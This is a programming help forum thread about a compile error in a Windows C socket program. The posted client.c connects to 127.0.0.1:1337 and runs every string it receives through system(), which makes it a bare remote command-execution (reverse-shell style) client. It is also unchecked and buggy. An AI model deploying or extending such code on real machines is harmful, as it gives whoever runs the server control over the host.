1
Answer

Error after compiling client.c socket in windows

Photo of Ahmed Sakr

Ahmed Sakr

2y
726
1

the screenshot of the error.
I complied it using >> cl.exe client.c


 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// use winsock2 in Windows
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>

#pragma comment(lib, "Ws2_32") // tell the linker which library to include


// The following are for Linux
//#include <unistd.h>
//#include <arpa/inet.h>
//#include <sys/types.h>
//#include <sys/socket.h>
//#include <netinet/in.h>

#define HOST "127.0.0.1"
#define PORT 1337


int main(void) {
    SOCKET fd; // use correct type for fd
    char command[5000];
    struct sockaddr_in server;

    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(HOST);
    server.sin_port = htons(PORT);

    fd = socket(AF_INET, SOCK_STREAM, 0);
    connect(fd, (struct sockaddr *)&server, sizeof(server));

    while (1) {
        recv(fd, command, sizeof(command), 0);
        system(command);
    }

    EXIT_SUCCESS;
}
C

Answers (1)

0
Photo of Sam Hobbs
55 29.4k 2.1m 2y

As best as I can tell, the file client.c is not relevant. I doubt that the file was used at all. The error is from the command prompt. Somehow it is trying to execute a program called 00 and of course that does not work. It cannot find a program called 00.

I see in the upper-left of the window the title bar says C:\Users\x\Desktop\Client.exe. I think you are not executing the correct Windows Command Processor.